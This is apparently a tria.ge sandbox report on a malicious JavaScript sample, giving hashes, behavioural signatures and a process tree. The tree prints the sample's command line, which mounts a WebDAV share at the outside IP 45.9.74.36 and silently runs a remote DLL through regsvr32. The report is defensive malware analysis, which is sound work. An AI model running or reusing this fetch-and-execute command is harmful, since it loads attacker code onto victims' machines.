Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
132s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
24/07/2024, 02:31
Static task
static1
Behavioral task
behavioral1
Sample
98086afeaf4dc6f2ac2320a19abf7f9214fff671d7eb4f74ee5bdbbc50d5dc36.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
98086afeaf4dc6f2ac2320a19abf7f9214fff671d7eb4f74ee5bdbbc50d5dc36.js
Resource
win10v2004-20240709-en
General
-
Target
98086afeaf4dc6f2ac2320a19abf7f9214fff671d7eb4f74ee5bdbbc50d5dc36.js
-
Size
6KB
-
MD5
2f5e10dd5f7ba07f77061d1916067316
-
SHA1
6e53f43db91be0638589ecc267554e51fd0b1e08
-
SHA256
98086afeaf4dc6f2ac2320a19abf7f9214fff671d7eb4f74ee5bdbbc50d5dc36
-
SHA512
1af7b2adc2568967272c33af29f114135a870220700fdf55caabe05f47b729ceaae5c6314ee46c73f615eb748ab8293867b687bb7a0965f7a740a9075f7a76dc
-
SSDEEP
96:fMgBmPdQjKV5Fgpk/gBCSq/BB6Ak1Sq/BB68U:Eg8dAwUyYdq/BB6Akkq/BB6p
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 32 wrote to memory of 3272 32 wscript.exe 84 PID 32 wrote to memory of 3272 32 wscript.exe 84 PID 3272 wrote to memory of 1548 3272 cmd.exe 86 PID 3272 wrote to memory of 1548 3272 cmd.exe 86
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\98086afeaf4dc6f2ac2320a19abf7f9214fff671d7eb4f74ee5bdbbc50d5dc36.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:32 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\211312711423002.dll2⤵
- Suspicious use of WriteProcessMemory
PID:3272 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:1548
-
-